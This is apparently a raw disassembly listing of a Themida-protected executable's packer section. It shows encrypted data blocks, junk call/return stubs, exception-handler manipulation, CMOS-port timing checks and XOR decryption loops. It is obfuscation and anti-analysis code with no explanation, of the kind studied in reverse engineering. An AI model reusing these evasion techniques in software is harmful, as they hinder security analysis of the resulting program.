		dd 6B8A3E68h, 259D2BFDh, 5B0AE31Bh, 0D61EB58Bh,	6A0AE6h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 4C511DC3h, 0F9CB8166h, 5ABF66CDh, 106C79Eh, 6A000100h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 6972C350h, 5050E8DCh, 52BB6652h, 8B310F4Eh
		dd 89585AFBh, 6A2434h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 5B3616C3h, 816657A7h, 0FF950BF7h
		dd 0E6D62AB5h, 0FFDF8B0Ah, 0E320BD95h, 51006A0Ah, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
		dd 12F4A230h, 6617F9C7h, 483BF781h, 0D61EB58Bh,	0BD8B0AE6h
		dd 0AE308B9h, 1059858Bh, 6A0AE3h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 0BB0D26C3h, 2CB257E3h
		dd 1E31B589h, 86890AE3h, 0C4h, 1795BD89h, 958B0AE3h, 0AE31479h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0ADC35141h
		dd 1B6857FFh, 0C283A8D8h, 50006A04h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 780D2376h
		dd 66257737h, 0B529F98Bh, 0AE304B1h, 6A205089h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0FE5AC357h, 443D2D32h, 8C4AE6BBh, 3C68DF81h,	858D2E98h
		dd 0AE6E8B3h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 18h,	6CC35646h, 8F7A8425h, 0B88689h,	0BF0F0000h, 89006ADEh
		dd 0E307C995h, 2AB5FF0Ah, 6A0AE6D6h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 5E79C350h
		dd 30E6D155h, 3276B79Ah, 11E9h,	16CA4A00h, 56E6CFB4h, 0AD22A8A7h
		dd 0CE30A9Fh, 0BF66929Bh, 95FFF973h, 0AE31E71h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0AC35040h, 66576E62h
		dd 4F84CB81h, 8A0F965Bh, 4, 38AABF66h, 96D88A50h, 0DE9h
		dd 7F7CF300h, 920A2C9Fh, 2BF8DFFCh, 0B5FF94E2h,	0AE6D62Ah
		dd 7B81C381h, 95FF4A2Eh, 0AE32369h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 14h, 0BFC35040h,	0BD83DF8Bh, 0AE317ADh
		dd 58840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 7464C355h, 54E783DDh
		dd 666CCC83h, 0BB21DF81h, 81C7F781h, 50960A02h,	0FDF8B52h
		dd 48BB6631h, 50585A74h, 2555F1BFh, 10E9967Dh, 0A9000000h
		dd 7ECF3CFCh, 0FFF159Fh, 23C0EDB5h, 0FF85A177h,	0E6D62AB5h
		dd 55006A0Ah, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 7C78EC9Bh, 80E821B2h, 95FF14F3h,	0AE30295h
		dd 0FFFE8B66h, 0E6D62AB5h, 51006A0Ah, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0D51C96D4h
		dd 66E3A968h, 0FF80E0BBh, 0E311DD95h, 0AD8D890Ah, 830AE319h
		dd 0E3197DBDh, 840F020Ah, 25h, 0F8D18B60h, 65858B61h, 0F0AE31Ah
		dd 0C6F9B7h, 0E8FA8B00h, 9, 22EA62EEh, 82DA6C67h, 0D88B6692h
		dd 1D85C75Bh, 0AE321h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0AF43C351h
		dd 0DB8156AAh, 765F6660h
; ---------------------------------------------------------------------------


loc_5D651C:				; CODE XREF: Themida_:005D60B2j
					; Themida_:loc_5D60E9j
		jmp	loc_5D590D
; ---------------------------------------------------------------------------
		mov	[ebp+0AE32135h], ebx
		mov	eax, ecx
		mov	bx, si
		lea	eax, [ebp+0AE32FFDh]
		push	eax
		jmp	loc_5D654C
; ---------------------------------------------------------------------------
		dd 8F663470h, 37E98D63h, 0DFF4352Eh, 73944E60h,	621D7F0Ah
; ---------------------------------------------------------------------------


loc_5D654C:				; CODE XREF: Themida_:005D6533j
		mov	[esp], eax
		and	bx, 0CCD2h
		jmp	loc_5D6567
; ---------------------------------------------------------------------------
		db 55h,	52h, 6
		dd 266FF7AAh, 168C9E39h
		db 56h,	57h, 9
; ---------------------------------------------------------------------------


loc_5D6567:				; CODE XREF: Themida_:005D6554j
		push	0
		mov	edi, edx
		push	0
		jmp	loc_5D6585
; ---------------------------------------------------------------------------
		dw 76EAh
		dd 0EAD5962Fh, 9E9E3B5Bh, 13D4BD8Bh, 3DEA7F21h
		db 0EBh
; ---------------------------------------------------------------------------


loc_5D6585:				; CODE XREF: Themida_:005D656Dj
		lea	eax, [ebp+0AE841D3h]
		push	0
		push	ebx
		call	sub_5D6596
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6596	proc near		; CODE XREF: Themida_:005D658Ep

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5D6596	endp

; ---------------------------------------------------------------------------
		inc	esi
		mov	ds:9E541493h, eax
		popa
		pusha
		mov	[ebp+0AE30439h], esi
		mov	di, ax
		popa
		add	eax, 5
		push	0
		push	esi
		call	sub_5D65C6
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D65C6	proc near		; CODE XREF: Themida_:005D65BEp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5D65C6	endp

; ---------------------------------------------------------------------------
		dw 0E174h
		dd 5F9B774Dh, 3D9D8973h, 500AE323h, 2870Fh, 0DD8A0000h
		dd 0F9240489h, 6A006Ah,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0E36C1EC3h, 89006A4Eh, 0E32D4995h
		dd 95B5890Ah, 0FF0AE313h, 0E314E995h, 55006A0Ah, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
		dd 0EEE8BB26h, 53517A4Eh, 0D5CA8D8Dh, 0BF660AE6h, 0D1FFCD73h
		dd 62FBE781h, 0BD836722h, 0AE32269h, 5E850F01h,	0B000000h
		dd 0E31F3D9Dh, 50026A0Ah, 29459D0Bh, 905F0AE3h,	52506050h
		dd 310F5250h, 310F585Ah, 585A5B50h, 682DEFBAh, 6A906105h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 3052C357h, 0E86448D6h, 0D3F28EB1h, 7C37A3BFh
		dd 7195FF28h, 8B0AE31Eh, 0E32BB99Dh, 0D0AE90Ah,	0E80000h
		dd 5D000000h, 41DDED81h, 8B660AE8h, 51006AFBh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 9BCD5292h
		dd 0E996123Dh, 6, 0E0Dh, 858D6202h, 0AE6C13Eh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 86C35242h, 66605090h
		dd 61F8D3B9h, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 7EDF5284h, 19FDBD31h, 0EE90AE3h
		dd 99000000h, 2635F074h, 7DC27607h, 0AA2A486Ch,	35FF6443h
		dd 0
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+0AE319E1h]
		mov	large fs:0, esp
		push	0
		push	edi
		call	sub_5D6788
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6788	proc near		; CODE XREF: Themida_:005D6780p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5D6788	endp

; ---------------------------------------------------------------------------
		wait
		xor	[esi-764DDB8Eh], ecx
		mov	ebp, 0AE324FDh
		sub	[ebp+0AE31625h], edx
		inc	dword ptr [ebp+0AE31C15h]
		pusha
		jns	loc_5D67BB
		mov	bx, 983h


loc_5D67BB:				; CODE XREF: Themida_:005D67B1j
		js	loc_5D67C3
		pusha
		popa


loc_5D67C3:				; CODE XREF: Themida_:loc_5D67BBj
		popa


loc_5D67C4:				; CODE XREF: Themida_:loc_5D736Fj
		push	0FFFFFFFFh
		push	0
		push	edx
		call	sub_5D67D1
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D67D1	proc near		; CODE XREF: Themida_:005D67C9p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5D67D1	endp

; ---------------------------------------------------------------------------
		db 0DDh, 0DFh, 13h
; ---------------------------------------------------------------------------
		adc	byte ptr [ecx+4Bh], 26h
		push	dword ptr [ebp+0AE31B71h]
		push	0
		push	ebp
		call	sub_5D67F9
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D67F9	proc near		; CODE XREF: Themida_:005D67F1p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5D67F9	endp

; ---------------------------------------------------------------------------
		fldenv	byte ptr [eax-75h] ; CODE XREF:	Themida_:loc_5D6832j
		shl	dword ptr [ecx-1], cl
		xchg	eax, ebp
		jge	short $+2
		jecxz	short loc_5D681E
		jmp	loc_5D692F
; ---------------------------------------------------------------------------
		db 33h,	0BDh, 75h
		db 1Dh
byte_5D681D	db 0E3h			; CODE XREF: Themida_:005D6890j
; ---------------------------------------------------------------------------


loc_5D681E:				; CODE XREF: Themida_:005D6812j
		or	dh, [eax-42FEA000h]
		cmp	[esi], ebp
		jecxz	short loc_5D6832
		call	near ptr loc_5D6837+4
		sbb	dh, [edi]
		sub	[edi-29h], esi


loc_5D6832:				; CODE XREF: Themida_:005D6826j
		jle	short near ptr loc_5D6809+2
		scasd
		push	ds
		xchg	eax, esp


loc_5D6837:				; CODE XREF: Themida_:005D6828p
		or	dword ptr [ebp+eax*8-297499DEh], 58h
		popa
		out	70h, al		; CMOS Memory:
					; used by real-time clock
		js	loc_5D684E
		mov	[ebp+0AE315C1h], ebx


loc_5D684E:				; CODE XREF: Themida_:005D6842j
		in	al, 71h		; CMOS Memory
		mov	di, 0F43Ch
		cmp	al, 61h
		jnb	loc_5D692F
		mov	[ebp+0AE318FDh], esi
		movzx	ecx, al
		mov	bx, dx
		mov	edx, 6
		mov	eax, ecx
		mov	ebx, eax
		shr	eax, 4
		mov	bl, al
		mov	edi, [ebp+0AE3339Dh]
		mul	dx
		call	near ptr loc_5D6890+1
		push	ecx
		mov	eax, ds:5841E9Fh
		push	eax
		db	3Eh
		and	dh, [ebx-28h]
		nop


loc_5D6890:				; CODE XREF: Themida_:005D687Fp
		jnb	short near ptr byte_5D681D
		popf
		lds	ebp, [esi]
		jecxz	short loc_5D68A1
		pop	ebx
		sub	ecx, eax
		xor	[ebp+0AE31149h], edx
		push	eax


loc_5D68A1:				; CODE XREF: Themida_:005D6895j
		pop	ebx
		mov	edx, ecx
		jmp	loc_5D692F
; ---------------------------------------------------------------------------
		sub	[ebp+0AE31415h], esi
		pusha
		mov	[ebp+0AE326B1h], edi
		sub	edx, 73B9026h
		popa
		mov	eax, [ebp+44004E49h]
		jnp	loc_5D68CC
		mov	bx, ax


loc_5D68CC:				; CODE XREF: Themida_:005D68C3j
		add	eax, 7
		movsx	edi, dx
		add	eax, 0
		mov	bh, al
		cmp	edx, eax
		jnb	loc_5D68F0
		or	[ebp+0AE322CDh], ecx
		jmp	loc_5D692F
; ---------------------------------------------------------------------------
		mov	[ebp+0AE31889h], edx


loc_5D68F0:				; CODE XREF: Themida_:005D68D9j
		mov	ecx, [ebp-1]
		jno	loc_5D6901
		mov	ebx, 67FA918Bh


loc_5D6901:				; CODE XREF: Themida_:005D68F6j
		and	ecx, 1
		jz	loc_5D692F
		add	ebx, [ebp+0AE31E6Dh]
		and	dword ptr [ebp-1], 0FFFFFFFEh
		mov	ebx, [ebp+0AE31E59h]
		mov	[ebp+44004E49h], edx
		push	eax
		push	edi
		mov	di, ax
		pop	ebx
		pop	edi
		jmp	$+5


loc_5D692F:				; CODE XREF: Themida_:005D6814j
					; Themida_:005D6856j ...
		lea	esi, [ebp+0AE7B618h]
		add	[ebp+0AE30481h], edx
		push	0
		mov	edi, [ebp+0AE330A5h]
		call	dword ptr [ebp+0AE31CD1h]
		push	0
		push	edi
		call	sub_5D6954
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6954	proc near		; CODE XREF: Themida_:005D694Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5D6954	endp

; ---------------------------------------------------------------------------
		clc
		cmp	[eax-749F9F2Ch], ebp
		mov	ebp, 0AE31CBDh
		mov	si, 95h
		popa
		mov	esi, edi
		popa
		mov	ecx, 0ECFh
		push	ecx
		pop	edi
		and	ecx, 0FFFFFFFCh
		movzx	edi, ax
		cld
		push	0
		push	ebx
		call	sub_5D6991
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6991	proc near		; CODE XREF: Themida_:005D6989p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5D6991	endp

; ---------------------------------------------------------------------------
		db 0E3h, 0EDh, 0B8h
		align 8
		push	0
		push	edx
		call	sub_5D69B3
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D69B3	proc near		; CODE XREF: Themida_:005D69ABp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5D69B3	endp

; ---------------------------------------------------------------------------
		retn	58C5h
; ---------------------------------------------------------------------------
		dw 5CF3h
		dd 8E0F4F28h, 6, 2941BD8Bh, 8B660AE3h, 0BAF9h, 33AD0000h
		dd 3E8D1C2h, 4E983D0h, 6AF475h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 3FB6E5C3h, 0BE9h, 5BA42000h
		dd 6976CC2Dh, 278C05F8h, 71BD8B51h, 5F0AE306h, 880Dh, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 0FD5BD465h, 0C621681Dh, 9D89D98Bh, 0AE323ADh, 1479958Bh
		dd 6A0AE3h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0B018ADC3h, 86F9A44Eh, 9EBF66F5h,	0C98D8B22h
		dd 0F0AE306h, 386h, 0FEB70F00h,	8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 0BD235818h, 0AE319D9h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 46C35646h, 9BB23EE0h, 0D4142C8h
		dd 19BD893Eh, 600AE31Fh, 6800Fh, 95890000h, 0AE3105Dh
		dd 16599D8Bh, 83610AE3h, 0E31F61BDh, 840F000Ah,	41h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 62C35242h, 3E2000EEh
		dd 6C62BB66h, 0C5B589F8h, 0B80AE308h, 0
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+0AE34E6Eh]
		mov	di, ax
		mov	bx, ax
		jmp	ecx
; ---------------------------------------------------------------------------
		movsx	ebx, di
		cmp	dword ptr [ebp+0AE30069h], 0
		jz	loc_5D6EF9
		push	0
		push	edx
		call	sub_5D6B49
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6B49	proc near		; CODE XREF: Themida_:005D6B41p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5D6B49	endp

; ---------------------------------------------------------------------------
		mov	dword ptr [ecx+69BD83B0h], 10AE300h
		jz	loc_5D6F14
		push	0
		push	edi
		call	sub_5D6B74
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6B74	proc near		; CODE XREF: Themida_:005D6B6Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5D6B74	endp

; ---------------------------------------------------------------------------
		dd 0AAF4FADAh, 0A3AD7E6Dh, 69BD8380h, 30AE300h,	344860Fh
		dd 8A600000h, 0D98C66DCh, 0B2F38166h, 0BE9F5h, 0CFB90000h
		dd 3405B095h, 0DC5E8EA5h, 4E18057h, 3870F57h, 66000000h
		dd 0A5FFB8Bh, 0B3840FC9h, 89000000h, 0E3350185h, 8BDF8B0Ah
		dd 0E31FD185h, 0DA8B660Ah, 33F8BF0Fh, 0E31E4585h, 71BD290Ah
		dd 500AE331h, 5F575156h, 4895B5Fh, 56006A24h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 6A33D5h, 1BD8D89h
		dd 52680AE3h, 66FA0332h, 481FA8Bh, 1BD1AD24h, 7E906h, 789D0000h
		dd 7B58BD27h, 4595FF8Dh, 6A0AE31Ah, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0C562C352h
		dd 0C59896B8h, 0A3B11726h, 85890BB7h, 0AE6D62Ah, 71E28160h
		dd 575CEDB7h, 29BD9D8Bh, 615F0AE3h, 1E1E9h, 858BFC00h
		dd 0AE6D622h, 0C7DAB70Fh, 1800h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 8A0F9836h
		dd 1, 26B58BF5h, 6A0AE6D6h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 2DAEC351h, 98D404E1h
		dd 8B95FDA3h, 0E3140D9Dh, 0D1858B0Ah, 0F0AE325h, 89BBDAB7h
		dd 891B371Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 718A5C75h, 0C8A0CEBFh, 0BBD78115h
		dd 8B002377h, 0E31FD185h, 0F781660Ah, 4689DF9Eh, 53006A04h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 4813CDDAh, 69D12E9Bh, 10E9DDB1h, 68000000h, 71975F9Fh
		dd 527555DAh, 4EE7CD66h, 9617CB31h, 0BE9h, 57673300h, 4FF319E0h
		dd 8D036271h, 94BB6650h, 6A96F4h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 9D0B82C3h, 0AE3269Dh
		dd 33BB71BBh, 22B5FF00h, 890AE6D6h, 0E310319Dh,	913B680Ah
		dd 0F50AE36h, 1180h, 0BE800h, 49570000h, 68B9399Bh, 2F3CDCFDh
		dd 815B5B7Ch, 72C42404h, 6A51E8h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 858D2FC3h, 0AE6D62Ah
		dd 2800Fh, 0FE8B0000h, 50B7B390h, 0B85CC8BFh, 6A9073h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 15E8E8C3h, 0B9CFAD92h, 8B8C9BB6h, 4595FFDEh,	6A0AE31Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 8B30C353h, 0BF54DBFh, 4AECCDFDh, 346D9589h
		dd 6A610AE3h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 7E50C357h, 0E6B8359Ah,	5FF120F9h
		dd 23959589h, 830F0AE3h, 0
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp+0AE30069h], 3
		mov	edi, [ebp+0AE30A59h]
		cmp	dword ptr [ebp+0AE6D62Ah], 0
		jz	loc_5D6EDE
		jmp	loc_5D6EF9
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5D6EBD
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6EBD	proc near		; CODE XREF: Themida_:005D6EB5p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5D6EBD	endp

; ---------------------------------------------------------------------------
		align 2
		pusha
		mov	cx, 0C922h
		add	edx, [ebp+0AE33029h]
		popa
		mov	di, 0C195h


loc_5D6EDE:				; CODE XREF: Themida_:005D6EA7j
					; Themida_:005D6EF5j
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5D6EDE
		jmp	short loc_5D6F2F
; ---------------------------------------------------------------------------


loc_5D6EF9:				; CODE XREF: Themida_:005D6B38j
					; Themida_:005D6EADj ...
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5D6EF9
		jmp	short loc_5D6F2F
; ---------------------------------------------------------------------------


loc_5D6F14:				; CODE XREF: Themida_:005D6B63j
					; Themida_:005D6F2Bj
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5D6F14
		jmp	short $+2


loc_5D6F2F:				; CODE XREF: Themida_:005D6EF7j
					; Themida_:005D6F12j
		mov	eax, eax
		push	0
		push	ebp
		call	sub_5D6F3C
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6F3C	proc near		; CODE XREF: Themida_:005D6F34p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5D6F3C	endp

; ---------------------------------------------------------------------------
		xor	al, 0A7h
		db	26h
		popa
		add	[ebp+0AE32D25h], ecx
		push	0
		push	ecx
		call	sub_5D6F61
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6F61	proc near		; CODE XREF: Themida_:005D6F59p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5D6F61	endp

; ---------------------------------------------------------------------------
		db 65h,	7Eh, 55h
		dd 0F1518871h, 0F899D13Eh, 11E8h, 0DFD5CD00h, 5A8F679Bh
		dd 597A86D4h, 0A932A2CEh, 9D8B1535h, 0AE32675h,	69BD835Fh
		dd 30AE300h, 3C9850Fh, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 5C4687C3h, 0BB66DC8Dh
		dd 9E98E18h, 12000000h,	2A61FD17h, 0C0ECA379h, 0D62ABD83h
		dd 0F000AE6h, 38A84h, 0FF42B300h, 0E6D62AB5h, 0E781660Ah
		dd 95FF5E7Fh, 0AE33315h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 3BC35242h, 4A602DCh, 0A2F76793h, 29BD8B41h
		dd 0E90AE31Fh, 9, 0FE5D886Dh, 1E5A79D3h, 0F99529D9h, 8B0AE32Ch
		dd 0E6D61EB5h, 55006A0Ah, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 3AFD267Bh, 0BD896297h
		dd 0AE31949h, 106C7h, 6A0001h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 8B0F4BC3h, 1,	35BD89F8h
		dd 500AE331h, 42CBF66h,	89243489h, 0E3110D85h, 2AB5FF0Ah
		dd 6A0AE6D6h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0DC5CC352h, 0A8FE906Dh, 0EFAB463h
		dd 20BD95FFh, 9D890AE3h, 0AE30641h, 0D61EB58Bh,	6A0AE6h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0D6806BC3h, 37716A58h, 0E59D8BC6h, 8B0AE312h, 0E3105985h
		dd 56006A0Ah, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 7FB40654h, 7E987h, 0C2240000h, 18DDD3h
		dd 0C486892Ah, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0AA08C353h,	31573BB9h
		dd 0E32F3DB5h, 958B5B0Ah, 0AE31479h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 2BC35343h, 0F21C25F4h, 0EDD2A429h
		dd 6870Fh, 0BD8B0000h, 0AE311ADh, 8104C283h, 0F17CC8F3h
		dd 2050896Dh, 72D38157h, 5B5576D5h, 0E8B3858Dh,	95890AE6h
		dd 0AE31069h, 0B88689h,	0F600000h, 0BD8BF1B7h, 0AE3233Dh
		dd 66006A61h, 0FF07ADBBh, 0E6D62AB5h, 0BF7810Ah, 0FF3EDE31h
		dd 0E31E7195h, 0C59D8B0Ah, 500AE322h, 3489C2B3h, 53006A24h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 0AE0B70ECh, 97202FF0h, 8C0FEF48h, 6,	26259D8Bh, 0B5FF0AE3h
		dd 0AE6D62Ah, 816DBF66h, 236995FFh, 6A0AE3h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0F9B438C3h
		dd 0BEFDC2F6h, 0E95C1114h, 12h,	5CDF407Bh, 0AB36A654h
		dd 6CECEFC6h, 87E6AE29h, 0BD834964h, 0AE317ADh,	52840F00h
		dd 0F000000h, 81h, 8E900h, 89D40000h, 7D15D5E3h, 57507E55h
		dd 10E9h, 7B432900h, 4DAAD48Eh,	0FD888B2h, 0C9B8DE74h
		dd 34895B47h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 298153EDh, 0E3339D9Dh, 2AB5FF0Ah
		dd 8B0AE6D6h, 0E32D1D9Dh, 9595FF0Ah, 10AE302h, 0E32375BDh
		dd 2AB5FF0Ah, 290AE6D6h, 0E312ED95h, 0DD95FF0Ah, 6A0AE311h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0A0AFC355h, 89609459h, 0E320FDBDh, 0BD83610Ah
		dd 0AE3197Dh, 33840F02h, 8B000000h, 0E31A6585h,	2DBD890Ah
		dd 0C60AE302h, 6A0000h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0E6F37AC3h, 6819D8Bh, 85C70AE3h
		dd 0AE3211Dh, 0
; ---------------------------------------------------------------------------
		js	loc_5D736F
		cld


loc_5D736F:				; CODE XREF: Themida_:005D7368j
		jmp	loc_5D67C4
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5D737F
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D737F	proc near		; CODE XREF: Themida_:005D7377p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5D737F	endp

; ---------------------------------------------------------------------------
		db 4Eh
		dd 0A03FE696h, 994A9509h, 15F18589h, 85890AE3h,	0AE31959h
		dd 6AC18Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 596626C3h, 551BC3A2h, 6800Fh, 85310000h
		dd 0AE32D61h, 2FFD858Dh, 6A0AE3h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0CB9A4CC3h, 243A5846h
		dd 90791EFAh, 6157BF66h, 6A9050h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 589527C3h, 96C05AE3h
		dd 6A9CB0h, 16818529h, 6A0AE3h,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0D6C35747h,	2625BD8Bh, 858D0AE3h
		dd 0AE850E0h, 6890Fh, 0BD8B0000h, 0AE32DE5h, 6A05C083h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0DB7C353h, 8CC25F64h, 0DE9DC1Ah, 9F000000h
		dd 18CE6FEFh, 2156A81Bh, 1C6F2DE4h, 7E850F9h, 0CE000000h
		dd 15F09435h, 895B552Ah, 6A2404h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 575B46C3h, 6ADF8B66h
